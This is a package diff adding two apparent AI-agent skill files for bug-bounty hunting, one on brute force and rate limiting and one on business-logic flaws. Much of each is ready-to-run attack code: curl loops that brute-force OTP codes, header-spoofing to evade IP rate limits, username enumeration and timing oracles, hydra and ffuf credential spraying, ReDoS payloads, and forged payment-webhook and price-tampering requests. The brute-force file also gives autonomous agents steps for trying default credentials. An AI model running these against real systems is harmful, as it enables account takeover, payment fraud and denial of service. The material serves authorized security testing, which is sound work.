opencode-skills-collection 4.0.68 → 4.0.70

package/bundled-skills/hunt-brute-force/SKILL.md

@@ -0,0 +1,341 @@
+---
+name: hunt-brute-force
+description: Hunt Missing/Weak Rate Limiting
+category: security
+risk: offensive
+source: https://github.com/elementalsouls/Claude-BugHunter
+source_repo: elementalsouls/Claude-BugHunter
+source_type: community
+date_added: '2026-09-20'
+license: MIT
+license_source: https://github.com/elementalsouls/Claude-BugHunter/blob/main/LICENSE
+compatibility: Requires explicit written authorization for a target scope plus the
+  relevant testing tools for this technique. Docs-only; helper scripts and commands
+  not bundled.
+sources: public_research
+report_count: 6
+---
+> **⚠️ AUTHORIZED USE ONLY**
+> This skill is for educational purposes or authorized security assessments only.
+> You must have explicit, written permission from the system owner before using this tool.
+> Misuse of this tool is illegal and strictly prohibited.
+
+> **Mandatory confirmation gate**
+> Before running any command that probes, exploits, changes, persists on, extracts data from, or attempts credential access against a target:
+> 1. Ask the user to state the exact target URL, IP, account, or resource.
+> 2. Ask the user to confirm written authorization and the permitted scope.
+> 3. Show the exact command(s) and explain their expected effect.
+> 4. Wait for explicit confirmation in the current conversation.
+>
+> Without that confirmation, remain read-only and provide defensive guidance only. Prefer a sandbox, disposable VM, or controlled lab.
+
+# HUNT-BRUTE-FORCE — Rate Limiting / Brute Force / Enumeration
+
+> Grounding note: this skill is built from published technique classes, not from a
+> curated set of named HackerOne reports. `report_count` is intentionally `0` — do
+> not cite an exact payout or report ID you cannot verify. Where a public case is
+> well-documented (e.g. Laxman Muthiyah's Instagram password-reset OTP race/rotation
+> research, 2019–2021), it is named below as a *technique reference*, not a payout claim.
+
+## Crown Jewel Targets
+
+OTP brute force (6-digit = 1,000,000 combinations) with no effective rate limit = Critical ATO bypass.
+
+**Highest-value chains:**
+- **OTP / 2FA brute → MFA bypass → ATO** — no effective rate limit on `/verify-otp`, full 000000–999999 keyspace reachable
+- **Password-reset token brute** — short/predictable/non-expiring tokens + no rate limit → ATO (the Instagram 2019 case combined a 6-digit reset code, no rate limit per request-source, and IP rotation to make 10^6 tractable)
+- **Username/email enumeration → targeted credential stuffing** — valid/invalid distinguishable by response string, status code, or timing, then sprayed with breach corpora
+- **Coupon / gift-card / referral code brute** — no rate limit on code validation → financial impact
+- **ReDoS** — attacker-controlled input hits a catastrophic-backtracking regex → CPU exhaustion → DoS
+
+---
+
+## Autonomous Testing Priority
+
+**Work within your turn budget — prioritize signal over volume.**
+
+You cannot brute-force millions of combinations in automated testing. Focus on two things: (1) credential spraying with the most likely candidates, and (2) detecting whether rate limiting exists at all.
+
+**Strategy:**
+1. Identify the login endpoint and the expected parameter names (username/email, password).
+2. Try weak/default credentials likely for the target context — default admin credentials for the app's stack, simple passwords for test environments, credentials visible elsewhere on the app (e.g. usernames exposed in profiles, default passwords in documentation).
+3. After 3-5 failed attempts, check for rate-limit signals (429 status, "too many attempts" message, CAPTCHA appearance, account lockout message). Absence of these = rate limiting is missing = vulnerability.
+4. Use form-encoding for traditional login forms, JSON for REST API login endpoints.
+
+**What to look for as success:**
+- Session token or JWT in the response body or Set-Cookie header
+- Redirect to authenticated dashboard
+- Response body that differs from the failed-login baseline
+
+**Username enumeration (separate finding):** Try a known-valid username vs a random one. If the error message differs ("Wrong password" vs "User not found") or response time differs → user enumeration vulnerability, even without a successful login.
+
+---
+
+## CRITICAL: Four rate-limit states — do not collapse them
+
+A `200`/`401` with no `429` does **not** mean "no rate limiting". A rate-limiting
+skill that only checks for `429`/lockout produces false negatives. Classify the
+defense BEFORE concluding, by sending a burst of ~50 requests and watching the
+*full* response (status, body, headers, latency, and downstream success):
+
+| State | Signal | Brute still feasible? |
+|-------|--------|-----------------------|
+| **Hard account lockout** | account disabled after N fails; later *correct* creds also fail | No (but lockout itself can be a DoS finding) |
+| **Soft IP throttle** | `429` / increasing latency keyed on source IP only | Yes — bypass via header/IP rotation (Phase 4) |
+| **CAPTCHA injection** | `200` but body switches to a CAPTCHA challenge after N | Maybe — check if the verify endpoint enforces it server-side or if the API path skips it |
+| **Silent shadow-throttle** | `200`/`401` returned for every request, but submissions are *dropped* — the genuinely-correct OTP/password stops being accepted, or responses become canned | **This is the trap.** A naive loop sees "all 200, no 429" and reports "no rate limit" — false. |
+
+**Shadow-throttle detector** — inject a known-good value at a known position and
+confirm it still works under load:
+```bash
+# Seed: position 500 in the brute set is the REAL OTP for your own test account.
+# If the loop reaches 500 and the correct code no longer authenticates,
+# the endpoint is silently throttling/dropping — NOT unprotected.
+KNOWN_GOOD="123456"   # the actual current OTP for YOUR test account
+for n in $(seq 0 600); do
+  CODE=$([ "$n" = "500" ] && echo "$KNOWN_GOOD" || printf "%06d" "$n")
+  CODE_RESP=$(curl -s -o /tmp/bf_body -w "%{http_code} %{time_total}" \
+    -X POST "https://$TARGET/api/verify-otp" \
+    -H "Content-Type: application/json" -H "Cookie: $SESSION_COOKIE" \
+    -d "{\"otp\":\"$CODE\"}")
+  echo "$n $CODE $CODE_RESP $(wc -c </tmp/bf_body)"
+done
+# Three columns to watch: status, time_total, body size.
+# Rising time_total or a body-size change with status unchanged = shadow throttle.
+```
+
+---
+
+## Step-by-Step Hunting Methodology
+
+### Phase 1 — Login Rate Limit Test (classify, don't just count 429s)
+```bash
+# Send a burst and log status + latency + body length for EACH attempt.
+for i in $(seq 1 50); do
+  read CODE TIME < <(curl -s -o /tmp/bf_l -w "%{http_code} %{time_total}\n" \
+    -X POST "https://$TARGET/api/login" \
+    -H "Content-Type: application/json" \
+    -d "{\"username\":\"test@$TARGET\",\"password\":\"wrong$i\"}")
+  echo "Attempt $i: status=$CODE time=${TIME}s len=$(wc -c </tmp/bf_l)"
+  sleep 0.1
+done
+# Then CLASSIFY against the 4-state table above. Watch for:
+#   - status flips to 429 / 403  → soft throttle or lockout
+#   - body grows / CAPTCHA token appears → CAPTCHA injection
+#   - latency climbs while status stays 401 → shadow throttle
+#   - genuinely nothing changes across all 50 → candidate "no rate limit" (confirm w/ Phase 2 seed)
+```
+
+### Phase 2 — OTP / 2FA Brute Force
+```bash
+# PRE-REQUISITE: a valid session that is pending OTP verification (your own test account).
+SESSION_COOKIE="pre-auth-session-after-first-factor"
+
+# ---- 2a. PoC probe: send 101 codes (seq 0..100 is INCLUSIVE = 101 values) ----
+# This ONLY proves the endpoint accepts repeated attempts without 429/lockout.
+# It does NOT prove the full 10^6 keyspace is brute-forcible — see 2b.
+for CODE in $(seq -f "%06g" 0 100); do
+  RESP=$(curl -s -X POST "https://$TARGET/api/verify-otp" \
+    -H "Content-Type: application/json" -H "Cookie: $SESSION_COOKIE" \
+    -d "{\"otp\":\"$CODE\"}" -o /dev/null -w "%{http_code}")
+  echo "$CODE: $RESP"
+  [ "$RESP" = "429" ] && { echo "Rate limit at $CODE"; break; }
+done
+# 101 attempts with no 429/lockout → endpoint is a candidate. NOW run the shadow-throttle
+# seed test (above) before claiming "no rate limit". A clean probe is necessary, not sufficient.
+
+# ---- 2b. Full-keyspace impact proof (only with explicit authorization + your own account) ----
+# Severity rests on 10^6 being REACHABLE, not on 101 codes. Demonstrate tractability:
+#   - keyspace = 10^6 ; observed throughput from 2a (req/s) ; expected hit at ~half keyspace.
+#   - e.g. 50 req/s sustained → ~10^6 / 50 ≈ 5.5 hours worst case, ~2.8h expected. That IS the impact.
+#   - If a code rotates every T seconds, the real bound is (req/s * T) attempts per window.
+#     Brute is only viable if (throughput * code_lifetime) approaches the keyspace, OR if the
+#     code does NOT rotate / reset is unlimited (the Instagram-2019 class).
+# Report the math; do NOT actually exhaust 10^6 against a third party.
+```
+
+### Phase 3 — Username / Email Enumeration (string AND status AND timing)
+```bash
+VALID_USER="known-user@$TARGET"
+INVALID_USER="definitely-not-real-xyz123@$TARGET"
+
+# String + status diff
+for U in "$VALID_USER" "$INVALID_USER"; do
+  curl -s -o /tmp/bf_e -w "[$U] status=%{http_code} time=%{time_total}s len=%{size_download}\n" \
+    -X POST "https://$TARGET/api/login" -H "Content-Type: application/json" \
+    -d "{\"email\":\"$U\",\"password\":\"wrongpassword\"}"
+done
+diff <(curl -s -X POST "https://$TARGET/api/login" -H 'Content-Type: application/json' \
+        -d "{\"email\":\"$VALID_USER\",\"password\":\"wrong\"}") \
+     <(curl -s -X POST "https://$TARGET/api/login" -H 'Content-Type: application/json' \
+        -d "{\"email\":\"$INVALID_USER\",\"password\":\"wrong\"}")
+# Different message/status/len → enumeration.
+
+# Timing oracle (valid users hash the password, invalid users short-circuit → measurable delta).
+# Sample MANY times and compare medians — a single request is noise, not signal.
+echo "VALID timings:";   for i in $(seq 1 30); do curl -s -o /dev/null -w "%{time_total}\n" \
+  -X POST "https://$TARGET/api/login" -H 'Content-Type: application/json' \
+  -d "{\"email\":\"$VALID_USER\",\"password\":\"wrong\"}"; done | sort -n | awk '{a[NR]=$1}END{print a[int(NR/2)]}'
+echo "INVALID timings:"; for i in $(seq 1 30); do curl -s -o /dev/null -w "%{time_total}\n" \
+  -X POST "https://$TARGET/api/login" -H 'Content-Type: application/json' \
+  -d "{\"email\":\"$INVALID_USER\",\"password\":\"wrong\"}"; done | sort -n | awk '{a[NR]=$1}END{print a[int(NR/2)]}'
+# A reproducible median delta (e.g. valid ~180ms vs invalid ~40ms) is a timing-based enum finding.
+
+# Reset + registration enumeration
+curl -s -X POST "https://$TARGET/forgot-password" -d "email=$VALID_USER"   | grep -i "sent\|exist\|not found\|registered"
+curl -s -X POST "https://$TARGET/forgot-password" -d "email=$INVALID_USER" | grep -i "sent\|exist\|not found\|registered"
+curl -s -X POST "https://$TARGET/api/register"   -d "email=$VALID_USER"    | grep -i "exist\|taken\|already"
+```
+
+### Phase 3b — Unthrottled registration (mass account creation)
+An unrate-limited signup endpoint is an abuse finding on its own, not just an enumeration oracle: burst `*/signup`/`*/register` (rotate email + source per request) and confirm N accounts are actually created with no 429/CAPTCHA/lockout → automated mass-account creation (spam, promo/referral abuse, resource exhaustion). Low–Medium standalone; higher when it chains to a paid/limited resource. Disclosed: reports/2915502.
+
+### Phase 4 — IP / Source Rotation Bypass
+```bash
+# Per-IP limits are bypassable when the app trusts a client-controlled source header.
+# Rotate the header EVERY request; if the 429 you hit in Phase 1 disappears → broken limit.
+HEADERS=( "X-Forwarded-For" "X-Real-IP" "X-Originating-IP" "X-Client-IP" \
+          "X-Remote-IP" "X-Forwarded" "Forwarded-For" "CF-Connecting-IP" "True-Client-IP" )
+for i in $(seq 1 60); do
+  RAND_IP="$(shuf -i 1-254 -n1).$(shuf -i 1-254 -n1).$(shuf -i 1-254 -n1).$(shuf -i 1-254 -n1)"
+  ARGS=(); for h in "${HEADERS[@]}"; do ARGS+=(-H "$h: $RAND_IP"); done
+  RESP=$(curl -s "${ARGS[@]}" -X POST "https://$TARGET/api/login" \
+    -H "Content-Type: application/json" \
+    -d "{\"email\":\"test@$TARGET\",\"password\":\"wrong$i\"}" -o /dev/null -w "%{http_code}")
+  echo "Attempt $i (IP $RAND_IP): $RESP"
+done
+# Also try: multiple comma-joined XFF values ("1.2.3.4, 5.6.7.8"), and appending your real IP
+# AFTER a spoofed one — some parsers take first, some last.
+# CONFIRM the bypass: re-run Phase 1 WITHOUT rotation to show the 429 returns. The delta is the proof.
+```
+
+### Phase 5 — Token Entropy (measure it, don't eyeball it)
+```bash
+# Collect reset/session/OTP tokens for YOUR OWN test account, then quantify entropy.
+for i in $(seq 1 20); do
+  curl -s -X POST "https://$TARGET/forgot-password" -d "email=your-test@email.com"
+  # Extract token from the email/link and append to tokens.txt
+  sleep 2
+done
+
+# 1) Shannon entropy / compressibility — low entropy = predictable:
+ent tokens.txt 2>/dev/null || \
+  python3 -c "import sys,math,collections;d=open('tokens.txt').read();c=collections.Counter(d);n=len(d);\
+print('bits/char =', -sum(v/n*math.log2(v/n) for v in c.values()))"
+
+# 2) If tokens are hex/base64, decode and look for structure (timestamp, counter, PID):
+while read t; do echo -n "$t -> "; echo -n "$t" | xxd -r -p 2>/dev/null | xxd | head -1; done < tokens.txt
+
+# 3) Sequential / time-correlated test — sort and diff consecutive numeric tokens:
+sort -n tokens.txt | awk 'NR>1{print $1-prev} {prev=$1}'   # constant/small delta = counter-based
+
+# 4) DEFINITIVE tool: pipe ~10k tokens through Burp Sequencer (Live capture on the reset
+#    response) — it runs FIPS/NIST randomness tests and reports effective bits of entropy.
+#    < ~64 effective bits on a security token is a finding; the brute-window math follows.
+```
+
+### Phase 6 — ReDoS Detection
+```bash
+# Hit input-validation / search endpoints with catastrophic-backtracking payloads.
+# Classic evil-regex triggers (nested quantifier / overlapping alternation):
+for LEN in 5 10 15 20 25 30; do
+  INPUT=$(python3 -c "print('a'*$LEN + '!')")              # for (a+)+$  /  (a|a)*$ style regex
+  T=$(curl -s -o /dev/null -w "%{time_total}" "https://$TARGET/search?q=$INPUT")
+  echo "len=$LEN -> ${T}s"
+done
+# Other payload shapes to try by field: email regex → "a@"+"a"*N ; URL regex → "http://"+"a"*N
+# DOUBLING latency per +5 chars (super-linear) = ReDoS. Linear growth = just a slow endpoint, NOT a bug.
+# Confirm with a control: send the same byte-length of a BENIGN string; if it returns fast, the
+# blow-up is regex-driven, not size-driven.
+```
+
+---
+
+## Automation
+```bash
+# ---- ffuf: OTP brute ----
+# PoC probe (101 codes) — proves acceptance, NOT full keyspace. Note the inclusive seq.
+ffuf -u "https://$TARGET/api/verify-otp" -X POST \
+  -H "Content-Type: application/json" -H "Cookie: session=SESSION" \
+  -d '{"otp": "FUZZ"}' \
+  -w <(seq -f "%06g" 0 100) \
+  -mc all -ac \
+  -rate 50            # cap throughput so YOU can read the rate-limit response, not DoS the target
+
+# FULL keyspace (authorized + your own account only) — generate all 10^6 codes:
+#   seq -f "%06g" 0 999999 > /tmp/otp_full.txt   (then -w /tmp/otp_full.txt)
+# Use -mc all + -ac so ffuf auto-calibrates and you SEE 429/403/CAPTCHA responses instead of
+# filtering them out. -mc 200 alone hides throttling — never brute with -mc 200 only.
+# Add -p 0.1 jitter and watch the Errors/RateLimited counters; stop if the success oracle stops firing.
+
+# ---- hydra: login spray ----
+hydra -l admin@target.com -P ~/wordlists/top-1000.txt "$TARGET" \
+  http-post-form "/api/login:email=^USER^&password=^PASS^:Invalid" -t 4
+
+# ---- nuclei: rate-limit / default-cred templates ----
+nuclei -u "https://$TARGET" -t http/fuzzing/ -t http/default-logins/ -severity medium,high,critical
+```
+
+---
+
+## Chain Table
+
+| Finding | Chain to | Impact |
+|---------|----------|--------|
+| No effective rate limit on OTP (full 10^6 reachable) | MFA bypass → ATO | Critical |
+| Password-reset code brute + IP rotation | Reset → ATO (Instagram-2019 class) | Critical |
+| No rate limit on login + enumeration | Credential stuffing with breach corpus | High |
+| IP bypass via X-Forwarded-For et al. | Every per-IP limit on the app defeated | High |
+| Predictable / low-entropy reset token | Token guess within validity window → ATO | High |
+| ReDoS on a public input field | Single-request CPU exhaustion → DoS | Medium–High |
+| Hard lockout triggerable by attacker | Targeted account DoS (lock victim out) | Medium |
+
+---
+
+## Validation — false-positive discipline
+
+Before writing the report, each must hold:
+
+- **OTP/login "no rate limit"**: confirmed against ALL FOUR states — not just absence of `429`.
+  Shadow-throttle seed test passed (the known-good value still authenticates under burst load).
+  Latency and body-size were monitored, not only status code.
+- **Full-keyspace claim**: severity is justified by the *reachability math* (throughput × code-lifetime
+  vs 10^6), not by a 101-code probe. State the numbers in the report.
+- **Enumeration**: difference is reproducible across ≥20 samples and is a *server-state* difference
+  (valid vs invalid user), not a server-policy artifact (e.g. a generic "if this email exists we sent…"
+  message is NOT enumeration). For timing, compare medians of many samples, never single requests.
+- **IP-rotation bypass**: proven by toggling rotation off and showing the `429` returns. The delta IS
+  the proof; one fast run alone is not.
+- **Token entropy**: backed by an actual measurement (Burp Sequencer effective-bits, `ent`, or a
+  demonstrated counter/timestamp structure), not "looks short".
+- **ReDoS**: super-linear (doubling) latency growth with a benign-control comparison; linear ≠ ReDoS.
+- **Scope/impact**: did you reach a real outcome (authenticated session, leaked account list, DoS)?
+  A rate-limit gap with no reachable impact is informational, not Medium.
+
+**Severity:**
+- Effective brute of OTP/MFA/reset-code → demonstrated ATO path: **Critical**
+- No login rate limit + working credential-stuffing/IP-bypass: **High**
+- Predictable security token (measured low entropy): **High**
+- Username/email enumeration alone: **Low–Medium**
+- ReDoS with reproducible meaningful server lag: **Medium–High**
+- Attacker-triggerable hard lockout (account DoS): **Medium**
+
+## When to Use
+
+- You have explicit, written authorization to assess the target in scope, and the task matches this skill's vulnerability class or technique within a bug-bounty or penetration-test engagement.
+- You need the recon, exploitation, or validation workflow described below — executed strictly inside the approved scope.
+
+## Limitations
+
+- Authorized scope only: the confirmation gate above is mandatory before any probing, exploitation, or credential-access command.
+- Docs-only import: upstream helper scripts, commands, engine, and research assets are not bundled; reinstall tooling from the source repo when needed.
+- Validate every finding (see `triage-validation`) before reporting; report via `report-writing`. Prefer a sandbox, disposable VM, or controlled lab.
+
+### Example
+
+```bash
+# Read-only first step; confirm scope before anything active.
+cat scope.txt  # target list from the authorized engagement brief
+```
+
+> Adapted from [elementalsouls/Claude-BugHunter](https://github.com/elementalsouls/Claude-BugHunter) (MIT); frontmatter, When to Use/Limitations, and safety boundaries added for upstream compliance. Docs-only import: executable helpers, commands, engine, and research assets not bundled.

package/bundled-skills/hunt-business-logic/SKILL.md

@@ -0,0 +1,281 @@
+---
+name: hunt-business-logic
+description: Hunting skill for business logic vulnerabilities.
+category: security
+risk: offensive
+source: https://github.com/elementalsouls/Claude-BugHunter
+source_repo: elementalsouls/Claude-BugHunter
+source_type: community
+date_added: '2026-09-20'
+license: MIT
+license_source: https://github.com/elementalsouls/Claude-BugHunter/blob/main/LICENSE
+compatibility: Requires explicit written authorization for a target scope plus the
+  relevant testing tools for this technique. Docs-only; helper scripts and commands
+  not bundled.
+sources: hackerone_public, github
+report_count: 25
+---
+> **⚠️ AUTHORIZED USE ONLY**
+> This skill is for educational purposes or authorized security assessments only.
+> You must have explicit, written permission from the system owner before using this tool.
+> Misuse of this tool is illegal and strictly prohibited.
+
+> **Mandatory confirmation gate**
+> Before running any command that probes, exploits, changes, persists on, extracts data from, or attempts credential access against a target:
+> 1. Ask the user to state the exact target URL, IP, account, or resource.
+> 2. Ask the user to confirm written authorization and the permitted scope.
+> 3. Show the exact command(s) and explain their expected effect.
+> 4. Wait for explicit confirmation in the current conversation.
+>
+> Without that confirmation, remain read-only and provide defensive guidance only. Prefer a sandbox, disposable VM, or controlled lab.
+
+## Crown Jewel Targets
+
+Business logic vulnerabilities pay highest in platforms where financial transactions, identity verification, and access controls intersect with real-world consequences. The richest targets are:
+
+- **E-commerce & payment platforms** (Valve/Steam, Shopify) — payment flow manipulation, free goods, price tampering
+- **Marketplace & gig economy apps** (Airbnb, Uber) — identity/verification bypass enabling fraud or unsafe interactions
+- **SaaS with tiered access** (Mozilla Monitor) — bypassing verification to unlock monitoring features without entitlement
+- **High-traffic consumer apps** (Snapchat, Yelp) — rate-limit bypass enabling spam, enumeration, or abuse at scale
+
+Asset types that pay: checkout flows, subscription endpoints, callback/verification systems, webhook handlers, employee/internal portals exposed to the internet, and any endpoint that trusts client-supplied data to make authorization decisions.
+
+---
+
+## Attack Surface Signals
+
+**URL patterns to watch:**
+- `/checkout`, `/order`, `/subscribe`, `/payment`, `/verify`, `/confirm`, `/callback`
+- `/internal`, `/employee`, `/summit`, `/staff`, `/admin` — internal pages accidentally public
+- `/api/v*/payment`, `/api/v*/notify`, `/webhook` — payment provider callbacks
+- Endpoints accepting `X-Forwarded-For`, `X-Real-IP`, `CF-Connecting-IP` headers
+
+**Response/header signals:**
+- `Set-Cookie` with unvalidated session state tied to cart or order data
+- Payment provider names in responses: `Smart2Pay`, `Stripe`, `PayPal`, `Braintree`
+- Redirect chains through third-party payment pages (in-flight data opportunity)
+- `200 OK` on subscription/verification endpoints with no CAPTCHA or token
+
+**JS patterns:**
+- Hardcoded internal URLs in frontend bundles (`/employee/`, `/staff/`, `/internal/`)
+- Client-side price calculation before server submission
+- Verification logic that only checks on the frontend (`if (verified) { ... }`)
+- `fetch('/api/subscribe', { method: 'POST', body: ... })` with no anti-CSRF token or rate-limit token
+
+**Tech stack signals:**
+- Shopify storefronts with draft/unpublished channel pages
+- Apps using IP-based rate limiting without session/account binding
+- Payment webhooks with no HMAC signature validation
+- SMS/phone callback flows that don't verify ownership before enabling features
+
+---
+
+## Step-by-Step Hunting Methodology
+
+1. **Map all authentication boundaries.** Spider the target. Identify pages/endpoints that serve authenticated content (employee portals, premium features, order pages) and test each unauthenticated. Look for internal pages indexed in JS bundles or linked from robots.txt/sitemap.xml.
+
+2. **Identify every verification flow.** Enumerate: email verification, phone/SMS verification, payment verification, CAPTCHA, age gates. For each, test: what happens if you skip the verification step entirely? What happens if you replay a valid token on a different account?
+
+3. **Test rate-limiting controls on every form.** For every POST endpoint (subscribe, login, OTP, search), send 50+ rapid requests. Vary: remove cookies, rotate `X-Forwarded-For` / `X-Real-IP` headers, change `User-Agent`. Check if the server uses IP from headers rather than connection IP.
+
+4. **Intercept and tamper with payment flows.** Use Burp Suite to intercept every request between your browser, the application, and the payment provider. Identify where price, currency, order ID, or status fields are set. Attempt to modify amounts to $0.01 or currency to a low-value currency. Look for POST-back/webhook endpoints that accept payment confirmation — test if they validate HMAC/signature.
+
+5. **Test phone/callback number verification.** Whenever a platform accepts a callback number, test: can you set it to a number you don't own? Does the platform call/text that number and grant trust based solely on submission? Try setting it to a victim's number.
+
+6. **Check for unprotected employee/internal surfaces.** Search Shodan, GitHub, JS bundles, and Wayback Machine for internal subdomain/path references. Test access without authentication. Check if these surfaces allow order placement, data access, or privilege escalation.
+
+7. **Validate business impact.** For each finding, determine: does this result in financial loss, unauthorized access, or data exposure? Document the end-to-end chain.
+
+---
+
+## Payload & Detection Patterns
+
+**Rate limit bypass via header rotation:**
+```bash
+# Rotate X-Forwarded-For to bypass IP rate limiting
+for i in $(seq 1 100); do
+  curl -s -X POST https://target.com/api/subscribe \
+    -H "X-Forwarded-For: 10.0.0.$i" \
+    -H "X-Real-IP: 10.0.0.$i" \
+    -H "Content-Type: application/json" \
+    -d '{"email":"victim+'"$i"'@example.com"}' \
+    -o /dev/null -w "%{http_code}\n"
+done
+```
+
+**Payment tampering — modify in-flight price:**
+```http
+POST /payment/initiate HTTP/1.1
+Host: target.com
+
+amount=0.01&currency=USD&order_id=12345&product_id=99
+```
+```bash
+# Look for unvalidated webhook endpoints
+curl -X POST https://target.com/payment/callback \
+  -H "Content-Type: application/json" \
+  -d '{"status":"success","amount":"0.01","order_id":"12345","transaction_id":"fake-txn"}'
+```
+
+**Unauthenticated internal page discovery:**
+```bash
+# Check robots.txt and sitemap for internal paths
+curl -s https://target.com/robots.txt | grep -iE "(disallow|allow)" 
+curl -s https://target.com/sitemap.xml | grep -iE "(employee|internal|staff|summit|admin)"
+
+# Grep JS bundles for internal paths
+curl -s https://target.com/assets/app.js | grep -oE '"/[a-zA-Z0-9/_-]{3,50}"' | sort -u
+```
+
+**Email verification bypass:**
+```bash
+# Skip the verification step: hit the post-verification API endpoint directly
+# with an unverified session. If it succeeds, the gate is UI-only.
+curl -s -X POST https://monitor.target.com/api/monitoring/enable \
+  -H "Cookie: session=<your_unverified_session>" \
+  -H "Content-Type: application/json" \
+  -d '{"email":"victim@example.com"}'
+
+# Replay verification token on different account
+curl -X POST https://target.com/verify \
+  -d 'token=VALID_TOKEN_FROM_ACCOUNT_A&email=account_b@example.com'
+```
+
+**Grep patterns for client-side logic issues:**
+```bash
+# Find price calculations in JS
+grep -iE "(price|amount|total|cost)\s*[=*+]" app.js
+
+# Find internal URLs in JS bundles
+grep -oE '"/(employee|internal|staff|admin|summit)[^"]*"' *.js
+
+# Find unvalidated IP header usage in server code
+grep -iE "x-forwarded-for|x-real-ip|cf-connecting-ip" src/ -r
+```
+
+---
+
+## Common Root Causes
+
+1. **Server trusts client-supplied data for financial decisions.** Developers offload price calculation to the frontend or pass amount fields through forms/URLs without re-validating on the server against a canonical source (the product database).
+
+2. **Verification is enforced only in the UI, not the API.** Frontend hides features behind a verification gate, but the backend API endpoints are fully functional without a verified status — any authenticated request succeeds.
+
+3. **IP-based rate limiting reads from spoofable headers.** Developers implement rate limits using `request.headers['X-Forwarded-For']` instead of the actual connection IP, allowing trivial bypass by header manipulation.
+
+4. **Payment webhooks lack signature validation.** Developers implement "success" webhooks without verifying the HMAC signature provided by the payment provider, allowing anyone to POST a fake success notification.
+
+5. **Internal/employee pages aren't access-controlled.** Internal tools are deployed to production domains without authentication middleware, either because developers assume obscurity (unlisted URL) or forgot to apply auth to a new route.
+
+6. **Phone/callback verification is advisory, not enforced.** Systems accept a phone number and grant trust to whoever submitted it, without confirming the submitter owns or controls that number.
+
+7. **Draft/channel-specific storefronts inherit full order functionality.** Platforms like Shopify allow creating storefronts for specific channels (employee events) that are unlisted but still fully functional for order placement if the URL is known.
+
+---
+
+## Bypass Techniques
+
+| Defense | Bypass |
+|---|---|
+| IP-based rate limiting | Rotate `X-Forwarded-For`, `X-Real-IP`, `True-Client-IP`, `CF-Connecting-IP` headers per request |
+| CAPTCHA on subscription forms | Use header-based bypass first; if CAPTCHA is only on the web form, call the underlying API endpoint directly |
+| Email verification gate | Access the post-verification API endpoint directly; replay valid tokens; check if `verified=true` is a client-set cookie/param |
+| Payment amount server validation | Modify currency to a lower-value currency; test with $0.00 or negative amounts; manipulate order IDs to reference different products |
+| Webhook HMAC validation | Test with no/empty signature header (is validation enforced at all — a modified payload only "passes" if it isn't); replay an UNMODIFIED captured webhook to test missing idempotency/anti-replay |
+| Auth on internal pages | Try unauthenticated; try with a low-privilege account; try path traversal variants (`/employee/../employee/`) |
+| Phone verification (OTP sent) | Submit someone else's number without OTP validation; check if the system grants trust on submission vs. OTP confirmation |
+
+---
+
+## Gate 0 Validation
+
+Before writing any report, answer all three:
+
+1. **What can the attacker DO right now?**
+   Be specific: "An unauthenticated user can place an order for physical goods at $0 cost" or "An attacker can bypass email verification and monitor any email address without owning it" or "An attacker can send unlimited subscription emails to any address." Vague impact = reject.
+
+2. **What does the victim LOSE?**
+   Identify a concrete, attributable loss: financial loss (free goods, fraudulent payments), privacy loss (phone number spoofed, unauthorized monitoring), service abuse (spam campaigns via rate-limit bypass), or security degradation (unverified identity trusted for sensitive actions). If the loss is purely theoretical, re-evaluate severity.
+
+3. **Can it be reproduced in 10 minutes from scratch?**
+   Create a fresh account (or use no account). Follow your documented steps. Achieve the impact. If you can't reliably reproduce it end-to-end in under 10 minutes with the steps you've written, your methodology is incomplete — refine before submitting.
+
+---
+
+## Real Impact Examples
+
+**Scenario 1 — Free Physical Goods via Exposed Internal Storefront (Shopify-style)**
+An employee summit page was deployed to a public Shopify storefront as a private channel for distributing free books to staff. The URL was discoverable via JS bundle analysis or link sharing. An anonymous user who navigated to the URL could browse and complete a checkout with no authentication required, receiving physical merchandise shipped at the company's expense. Impact: direct financial loss per order, potential for bulk ordering if not caught quickly.
+
+**Scenario 2 — Payment Manipulation via In-Flight Tampering (Valve/Steam-style)**
+A payment flow passed order amount and currency through client-controlled parameters before redirecting to a third-party payment provider (Smart2Pay). By intercepting the redirect with Burp Suite and modifying the amount field, an attacker could complete a real payment for $0.01 while the application's webhook — lacking HMAC validation — accepted the provider's confirmation and credited the full item/service to the account. Impact: critical financial loss; attacker receives full value goods/services for near-zero cost, infinitely repeatable.
+
+**Scenario 3 — Email Verification Bypass for Unauthorized Monitoring (Mozilla-style)**
+A breach-monitoring service required email verification before enabling monitoring alerts for an address. The verification check was enforced in the UI flow but the underlying API accepted monitoring setup requests for any address using a valid session — skipping the verification step entirely. An attacker could set up monitoring for email addresses they don't own, receiving breach notification data (potentially including credential exposure status) for victim accounts. Impact: privacy violation; attacker gains intelligence on whether a target's email was in a breach without the target's knowledge or consent.
+
+---
+
+## Disclosed Report Citations (Backfill +5 — 2016-2023)
+
+The following real, verified bug-bounty / coordinated-disclosure cases extend this skill. All five share a measurable financial-impact angle (actual $ loss demonstrated or quantifiable platform-wide exposure).
+
+8. **Stripe — Fee discount race redemption** ([H1 #1849626](https://hackerone.com/reports/1849626))
+    - Subclass: coupon/discount race-multi-redemption + financial primitive
+    - Payload: Stripe Support applied a one-time $20,000 fee-credit. Researcher captured the "accept-discount" POST and replayed it 30× in parallel via Burp Turbo Intruder, each acceptance crediting the account anew
+    - Root cause: idempotency missing on discount-acceptance endpoint; no unique constraint on (account_id, discount_id)
+    - Year: 2023 — **$5,000**, $600,000 of fee-free transactions accrued before fix (~$18,000 real Stripe loss at 3% take rate)
+
+9. **Reverb.com — Gift-card race multi-redemption** ([H1 #759247](https://hackerone.com/reports/759247))
+    - Subclass: gift-card / store-credit race-redemption
+    - Payload: single valid gift card, parallel-POST to `/redeem` from 10 sockets via Turbo Intruder. Balance credits N× the face value
+    - Root cause: no row-level lock on gift_card table; balance debit and credit live in separate transactions
+    - Year: 2019 — **$1,500**
+
+10. **Upserve / OLO — Negative-quantity price manipulation** ([H1 #364843](https://hackerone.com/reports/364843))
+    - Subclass: negative-quantity-in-cart price tampering
+    - Payload: `POST /api/order {"items":[{"id":1,"qty":1,"price":50},{"id":2,"qty":-3,"price":50}]}` — order total computes to `-$100`, floors to ~$0 at payment capture, food still fulfills
+    - Root cause: server multiplies `qty * price` with no `qty >= 1` guard
+    - Year: 2018 — textbook citation for the subclass (acknowledged-only program)
+
+11. **Krisp — Pay-less-per-seat via PUT tampering** ([H1 #1446090](https://hackerone.com/reports/1446090))
+    - Subclass: price-per-unit mass-assignment / quantity-discount manipulation
+    - Payload: `PUT /v2/seats` body includes a server-trusted `price` field. Set `price=1` instead of $60. Subscription updates, billing engine charges $1/seat for 100 seats
